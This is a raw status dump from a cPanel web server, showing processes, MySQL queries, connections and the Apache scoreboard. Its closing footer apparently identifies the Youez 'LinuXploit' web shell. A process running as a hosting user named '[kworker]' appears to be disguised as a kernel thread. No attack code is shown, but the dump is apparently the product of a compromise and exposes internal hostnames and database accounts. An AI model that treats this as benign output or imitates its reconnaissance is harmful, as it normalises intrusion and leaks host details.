root      12659  0.0  0.0  20164   804 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      12638  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12651  0.0  0.0  20164   804 ?        Ss   00:48   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      12639  0.0  0.0 183048  2140 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12655  0.0  0.0  20164   964 ?        Ss   00:48   0:00  |   \_ jailshell (pactpay) [12676] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   12676  0.0  0.0  20164   260 ?        S    00:48   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   12680  0.0  0.7 476724 17480 ?        S    00:48   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      12641  0.0  0.0 183048  2144 ?        S    00:48   0:00  \_ /usr/sbin/CROND -n
root      12649  0.0  0.0  20164   968 ?        Ss   00:48   0:00      \_ jailshell (nigeria) [12673] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   12673  0.0  0.0  20164   260 ?        S    00:48   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   12675  0.0  0.6 400652 15936 ?        S    00:48   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        577  0.0  0.0  24208   196 ?        Ss   Nov12   0:00 /usr/sbin/atd -f
root        590  0.0  0.0 114704   216 ttyS0    Ss+  Nov12   0:00 /bin/bash
root        591  0.0  0.0 108296   216 tty1     Ss+  Nov12   0:00 /sbin/agetty --noclear tty1 linux
mailnull    614  0.0  0.1  89120  3952 ?        Ss   Nov12   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
systuser    924  0.0  0.0 113016    76 ?        Ssl  Nov12   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
systuser    928  0.0  0.0  14068    52 ?        Ssl  Nov12   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
systuser    929  0.0  0.5 114016 13872 ?        Ssl  Nov12   0:04 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        930  0.0  0.0 153404   440 ?        Ss   Nov12   0:00 pure-ftpd (SERVER)
root        931  0.0  0.0  51508   624 ?        Ss   Nov12   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1075  0.0  0.0  46984  2280 ?        S    Nov12   0:00  \_ dovecot/pop3-login
dovenull   1076  0.0  0.1  48324  3188 ?        S    Nov12   0:00  \_ dovecot/imap-login
dovecot    1077  0.0  0.0  10320   496 ?        S    Nov12   0:00  \_ dovecot/anvil
root       1078  0.0  0.0  10452   540 ?        S    Nov12   0:00  \_ dovecot/log
dovenull   1079  0.0  0.0  46984  2300 ?        S    Nov12   0:00  \_ dovecot/pop3-login
dovenull   1080  0.0  0.1  47824  2820 ?        S    Nov12   0:00  \_ dovecot/imap-login
root       1084  0.0  0.1  24528  2456 ?        S    Nov12   0:00  \_ dovecot/config
dovecot    1088  0.0  0.0  13568   560 ?        S    Nov12   0:00  \_ dovecot/stats
dovecot    1166  0.0  0.0  41260  1404 ?        S    Nov12   0:00  \_ dovecot/auth
worencom  71989  0.0  0.1  38492  2536 ?        S    Nov12   0:00  \_ dovecot/imap
cloudsms  12613  0.0  0.2  61768  6164 ?        S    00:47   0:00  \_ dovecot/lmtp
root      12614  0.0  0.1  41052  2724 ?        S    00:47   0:00  \_ dovecot/auth -w
root        932  0.0  0.0 572372  1024 ?        Ssl  Nov12   0:01 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
telegraf    933  0.0  1.3 5654048 33692 ?       SLsl Nov12   0:09 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
memcach+    935  0.0  0.0 342400    76 ?        Ssl  Nov12   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root        939  0.0  0.0 111304   560 ?        Ss   Nov12   0:02 /usr/sbin/sshd -D
root      12275  0.0  0.1 111304  4260 ?        Ss   00:47   0:00  \_ sshd: [accepted]
root      12369  0.0  0.1 111304  4268 ?        Ss   00:47   0:00  \_ sshd: [accepted]
root      12590  0.0  0.2 157100  5080 ?        Ss   00:47   0:00  \_ sshd: unknown [priv]
sshd      12591  0.0  0.1 115644  2628 ?        S    00:47   0:00  |   \_ sshd: unknown [net]
root      12602  0.0  0.1 111304  4440 ?        Ss   00:47   0:00  \_ sshd: [accepted]
sshd      12603  0.0  0.1 115644  2628 ?        S    00:47   0:00  |   \_ sshd: [net]
root      12621  0.0  0.1 111304  4268 ?        Ss   00:47   0:00  \_ sshd: [accepted]
systuser    940  0.0  0.0  10132    48 ?        Ssl  Nov12   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
systuser    941  0.0  0.0 112268    72 ?        Ssl  Nov12   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root        943  0.0  0.0 445028  1992 ?        Ss   Nov12   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
root        950  0.0  0.0 386112   756 ?        Ss   Nov12   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
named       961  0.0  1.4 637992 35696 ?        Ssl  Nov12   0:09 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        964  0.0  0.2 265552  6272 ?        Ssl  Nov12   0:04 /usr/sbin/rsyslogd -n
root        981  0.0  0.4 436392 11184 ?        Ss   Nov12   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root        984  0.0  0.0 385496   780 ?        Ss   Nov12   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
root        985  0.0  0.2 261288  6948 ?        Ss   Nov12   0:02 cpsrvd (SSL) - waiting for connections                   
root      12624  0.0  0.0      0     0 ?        Z    00:48   0:00  \_ [cpaneld - servi] <defunct>
root        989  0.0  0.0 392856   800 ?        Ss   Nov12   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        992  0.0 10.6 1763048 258272 ?      Ssl  Nov12   0:15 /usr/local/cpanel/3rdparty/bin/clamd -F
root       1000  0.0  0.1 397344  2920 ?        Ss   Nov12   0:02 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
nigeria   12547  0.0  0.2 397064  5360 ?        S    00:47   0:00  \_ php-fpm: pool nigeriadecide_org
nigeria   12548  0.0  0.2 397064  5360 ?        S    00:47   0:00  \_ php-fpm: pool nigeriadecide_org
cpanelc+   1006  0.0  0.1  10604  3648 ?        Ss   Nov12   0:13 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
systuser   1121  0.0  0.0 157704  2208 ?        S    Nov12   0:00 SonarPush 0.6.12 [sleeping]
root       1172  0.0  4.8 248152 118252 ?       Ss   Nov12   0:04 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       7883  0.0  7.0 306476 170344 ?       S    Nov12   0:02  \_ spamd child
root       7886  0.0  4.8 248152 116852 ?       S    Nov12   0:00  \_ spamd child
wp-tool+   1173  0.0  0.1 387556  3764 ?        Ss   Nov12   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1174  0.0  1.1 410616 28692 ?        Ss   Nov12   0:14 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1232  0.0  0.4 209372 12012 ?        Ss   Nov12   0:02 tailwatchd
root       1234  0.0  0.6 228228 16872 ?        Ss   Nov12   0:00 dnsadmin - server mode
root       1237  0.0  0.2 183900  5744 ?        Ss   Nov12   0:00 cpdavd - accepting connections on: 2091, 2077, 2078 (dormant)
root       1642  0.0  0.0 299272   876 ?        Ss   Nov12   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1702  0.0  0.0 130416  1536 ?        SN   Nov12   0:00 cpanellogd - sleeping for logs
mysql      1781  1.3 10.2 1457796 249020 ?      Sl   Nov12   3:58 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       2059  0.0  0.3 267036  8568 ?        Ss   Nov12   0:01 /usr/sbin/httpd -k start
root       2063  0.0  0.0  12764   576 ?        S    Nov12   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       2064  0.0  0.0  12732   444 ?        S    Nov12   0:01  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       2065  0.0  0.0  12776   548 ?        S    Nov12   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       2089  0.0  0.0  53268   264 ?        S    Nov12   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    77696  0.1  0.8 277728 21120 ?        S    00:01   0:04  \_ /usr/sbin/httpd -k start
nobody    97236  0.1  0.8 277676 20556 ?        S    00:26   0:02  \_ /usr/sbin/httpd -k start
nobody      332  0.1  0.8 277732 19732 ?        S    00:32   0:01  \_ /usr/sbin/httpd -k start
cloudw    12708  0.0  0.6 352096 15236 ?        S    00:48   0:00  |   \_ /opt/cpanel/ea-php70/root/usr/bin/php-cgi
nobody     5021  0.1  0.8 277732 19644 ?        S    00:38   0:00  \_ /usr/sbin/httpd -k start
nobody     5041  0.1  0.8 277720 19808 ?        S    00:38   0:00  \_ /usr/sbin/httpd -k start
nobody     5084  0.1  0.8 277784 19536 ?        S    00:38   0:00  \_ /usr/sbin/httpd -k start
nobody     5569  0.1  0.8 277672 19628 ?        S    00:39   0:00  \_ /usr/sbin/httpd -k start
nobody     5962  0.1  0.8 277720 19624 ?        S    00:39   0:00  \_ /usr/sbin/httpd -k start
nobody     7359  0.1  0.8 277920 19536 ?        S    00:41   0:00  \_ /usr/sbin/httpd -k start
nobody     7360  0.1  0.7 277784 19152 ?        S    00:41   0:00  \_ /usr/sbin/httpd -k start
nobody     8809  0.1  0.8 277632 19496 ?        S    00:43   0:00  \_ /usr/sbin/httpd -k start
nobody     8905  0.1  0.7 277720 19284 ?        S    00:43   0:00  \_ /usr/sbin/httpd -k start
cloudw    12669  0.0  0.6 352096 15236 ?        S    00:48   0:00  |   \_ /opt/cpanel/ea-php70/root/usr/bin/php-cgi
nobody     9446  0.1  0.8 277720 19376 ?        S    00:44   0:00  \_ /usr/sbin/httpd -k start
nobody    10695  0.1  0.7 277720 18684 ?        S    00:45   0:00  \_ /usr/sbin/httpd -k start
nobody    11220  0.1  0.7 277908 19012 ?        S    00:46   0:00  \_ /usr/sbin/httpd -k start
cloudw    12643  0.0  0.6 352096 15232 ?        S    00:48   0:00  |   \_ /opt/cpanel/ea-php70/root/usr/bin/php-cgi
nobody    11377  0.1  0.7 277784 19112 ?        S    00:46   0:00  \_ /usr/sbin/httpd -k start
nobody    11412  0.1  0.7 277924 19012 ?        S    00:46   0:00  \_ /usr/sbin/httpd -k start
nobody    12252  0.0  0.7 277500 18532 ?        S    00:47   0:00  \_ /usr/sbin/httpd -k start
nobody    12286  0.1  0.7 277784 18880 ?        S    00:47   0:00  \_ /usr/sbin/httpd -k start
oysipao+  47111  0.0  0.0   3148   416 ?        Ss   Nov12   0:00 [kworker]
oysipao+  47116  0.0  0.0   3152   428 ?        S    Nov12   0:00  \_ [kworker]
root      76167  0.0  1.2 181364 29300 ?        Ss   00:00   0:02 lfd - sleeping
root      76469  0.0  0.4 1276100 10712 ?       Ssl  00:00   0:00 /usr/bin/cspdaemon
root      76506  0.0  0.4 1277312 11624 ?       Ssl  00:00   0:00 /usr/bin/checkstatus
## mysql stats
Uptime: 17102  Threads: 5  Questions: 1425826  Slow queries: 0  Opens: 5628  Flush tables: 1  Open tables: 2000  Queries per second avg: 83.371
*************************** 1. row ***************************
     Id: 20251
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT `id` FROM `currency_rate` WHERE `day`='2025-11-12' LIMIT 1
*************************** 2. row ***************************
     Id: 20253
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 3. row ***************************
     Id: 20258
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT * FROM `massmailer` WHERE `other`='' LIMIT 30
*************************** 4. row ***************************
     Id: 20259
   User: cloudsms_root
   Host: localhost
     db: cloudsms_sms
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 5. row ***************************
     Id: 20261
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 109.70.100.4 TIME_WAIT
      1 114.119.132.202 TIME_WAIT
      1 142.44.220.55 TIME_WAIT
      1 15.235.27.11 TIME_WAIT
      1 170.106.180.139 TIME_WAIT
      1 173.199.190.175 TIME_WAIT
      1 ::1 TIME_WAIT
      1 205.169.39.11 TIME_WAIT
      1 208.240.30.62 TIME_WAIT
      1 217.113.194.16 TIME_WAIT
      1 37.139.53.80 TIME_WAIT
      1 45.38.156.14 TIME_WAIT
      1 45.84.107.182 TIME_WAIT
      1 49.105.75.82 TIME_WAIT
      1 51.75.236.142 TIME_WAIT
      1 66.249.70.193 TIME_WAIT
      1 93.159.230.28 TIME_WAIT
      1 93.159.230.84 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Oct 28 2025 23:52:55
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Thursday, 13-Nov-2025 00:48:01 WAT
   Restart Time: Wednesday, 12-Nov-2025 20:03:03 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 4 hours 44 minutes 57 seconds
   Server load: 1.58 0.65 0.43
   Total accesses: 87320 - Total Traffic: 2.3 GB - Total Duration: 43160744
   CPU Usage: u10.47 s5.56 cu1111.82 cs880.03 - 11.7% CPU load
   5.11 requests/sec - 143.4 kB/second - 28.1 kB/request - 494.282 ms/request
   14 requests currently being processed, 0 workers gracefully restarting, 5 idle workers

WK_KWKK.K_WR_KW.KK._...K..._....................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc     M CPU    SS   Req   Dur   Conn  Child  Slot     Client     Protocol           VHost                                        Request
   0-0  11220 3/33/4401  W 0.80  0     0   2156220 93.4  0.86  111.61 66.249.70.198 http/1.1 schoolplus.cloudware.ng:80 GET /?p=2134038240 HTTP/1.1
   1-0  8809  1/143/4402 K 1.03  3     261 1995268 30.2  1.27  106.76 66.249.70.194 http/1.1 schoolplus.cloudware.ng:80 GET /?p=2417954267 HTTP/1.1
   2-0  11377 0/20/4271  _ 0.39  0     1   2205445 0.0   0.47  126.68 127.0.0.1     http/1.1 chs1.nescrow.com.ng:80     GET / HTTP/1.1
   3-0  7359  8/138/4372 K 3.08  3     390 2293068 247.0 3.24  129.34 66.249.70.197 http/1.1 schoolplus.cloudware.ng:80 GET /?p=848709420 HTTP/1.1
   4-0  8905  5/79/4190  W 2.07  0     0   2015837 153.3 2.46  108.36 66.249.70.198 http/1.1 schoolplus.cloudware.ng:80 GET /?p=2924363684 HTTP/1.1
   5-0  10695 5/37/4351  K 0.99  3     257 2211508 149.1 1.40  140.56 66.249.70.194 http/1.1 schoolplus.cloudware.ng:80 GET /?p=4258283626 HTTP/1.1
   6-0  9446  21/70/4069 K 1.84  0     389 2039822 648.5 2.26  109.56 66.249.70.193 http/1.1 schoolplus.cloudware.ng:80 GET /?p=3583138742 HTTP/1.1
   7-0  -     0/0/4763   . 0.00  18    0   2180910 0.0   0.00  127.35 ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   8-0  7360  1/83/3580  K 2.11  0     340 1808229 30.6  2.24  93.29  66.249.70.193 http/1.1 schoolplus.cloudware.ng:80 GET /?p=4102804375 HTTP/1.1
   9-0  11412 0/30/3844  _ 0.70  0     397 1919379 0.0   0.78  103.34 66.249.70.200 http/1.1 schoolplus.cloudware.ng:80 GET /?p=1164425149 HTTP/1.1
   10-0 12252 0/5/4005   W 0.05  0     0   1935001 0.0   0.65  112.98 ::1           http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   11-0 5021  0/115/4216 R 3.23  23    352 2120659 0.0   3.26  138.88 49.15.234.113 http/1.1 nigeriadecide.org:443
   12-0 12286 0/8/3779   _ 0.15  0     0   1795733 0.0   0.18  94.52  ::1           http/1.1 chs1.nescrow.com.ng:80     GET //whm-server-status HTTP/1.0
   13-0 77696 1/835/3063 K 19.95 2     2   1396813 5.2   21.19 72.17  192.178.4.99  http/1.1 team.cloudware.ng:443      GET /vendor/symfony/form/Resources/translations/validators.ar.x
   14-0 332   3/233/3229 W 6.25  0     0   1651019 90.9  6.86  101.40 66.249.70.199 http/1.1 schoolplus.cloudware.ng:80 GET /?p=3802240001 HTTP/1.1
   15-0 -     0/0/2677   . 0.00  434   0   1315127 0.0   0.00  68.81  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   16-0 5962  1/214/3941 K 3.24  0     367 1926306 33.7  3.50  106.24 66.249.70.134 http/1.1 support.cloudware.ng:443   GET /?c=4070891581 HTTP/1.1
   17-0 97236 2/432/4388 K 10.90 0     362 2228557 61.4  9.86  122.23 66.249.70.192 http/1.1 schoolplus.cloudware.ng:80 GET /?p=1986971640 HTTP/1.1
   18-0 -     0/0/1895   . 0.00  133   0   1031169 0.0   0.00  52.13  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   19-0 5569  0/103/2417 _ 2.54  0     1   1253866 0.0   4.03  66.71  127.0.0.1     http/1.1 chs1.nescrow.com.ng:80     GET / HTTP/1.1
   20-0 -     0/0/1329   . 0.00  536   0   688424  0.0   0.00  34.25  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   21-0 -     0/0/1419   . 0.00  415   0   752261  0.0   0.00  41.37  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   22-0 -     0/0/1539   . 0.00  538   0   825459  0.0   0.00  50.93  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   23-0 5041  2/125/894  K 3.35  3     345 447759  63.5  5.78  20.94  66.249.70.200 http/1.1 schoolplus.cloudware.ng:80 GET /?p=991222698 HTTP/1.1
   24-0 -     0/0/1715   . 0.00  409   0   628255  0.0   0.00  35.71  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   25-0 -     0/0/887    . 0.00  535   0   463985  0.0   0.00  24.94  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   26-0 -     0/0/349    . 0.00  468   0   191495  0.0   0.00  9.35   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   27-0 5084  0/136/268  _ 3.39  1     401 143806  0.0   3.94  7.92   66.249.70.195 http/1.1 schoolplus.cloudware.ng:80 GET /?p=3512425835 HTTP/1.1
   28-0 -     0/0/1155   . 0.00  4159  0   475534  0.0   0.00  25.42  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   29-0 -     0/0/108    . 0.00  6746  0   56057   0.0   0.00  2.71   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   30-0 -     0/0/389    . 0.00  6664  0   179917  0.0   0.00  7.99   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   31-0 -     0/0/48     . 0.00  6920  0   31177   0.0   0.00  1.34   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   32-0 -     0/0/4      . 0.00  16546 0   2148    0.0   0.00  0.09   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   33-0 -     0/0/24     . 0.00  16476 0   12272   0.0   0.00  0.58   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   34-0 -     0/0/71     . 0.00  16271 0   43033   0.0   0.00  1.97   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   35-0 -     0/0/2      . 0.00  16552 305 1157    0.0   0.00  0.06   66.249.70.100 http/1.1 schoolplus.cloudware.ng:80 GET /?p=3584359384 HTTP/1.1
   36-0 -     0/0/19     . 0.00  16482 0   12232   0.0   0.00  0.55   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   37-0 -     0/0/69     . 0.00  16273 0   41923   0.0   0.00  1.99   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   38-0 -     0/0/2      . 0.00  16555 0   993     0.0   0.00  0.03   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   39-0 -     0/0/3      . 0.00  16547 0   910     0.0   0.00  0.06   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   40-0 -     0/0/1107   . 0.00  12580 0   644340  0.0   0.00  31.91  ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   41-0 -     0/0/3      . 0.00  16554 0   924     0.0   0.00  0.04   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   42-0 -     0/0/4      . 0.00  16540 0   1967    0.0   0.00  0.07   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   43-0 -     0/0/41     . 0.00  16424 0   25843   0.0   0.00  1.19   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
   44-0 -     0/0/18     . 0.00  16481 0   8912    0.0   0.00  0.42   ::1           http/1.1 chs1.nescrow.com.ng:80     OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 378
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 19 seconds, (range: 1...97)
   index usage: 6%, cache usage: 9%
   total entries stored since starting: 24983
   total entries replaced since starting: 0
   total entries expired since starting: 24596
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 10 hit, 137 miss
   total removes since starting: 9 hit, 8 miss
Youez - 2016 - github.com/yon3zu
LinuXploit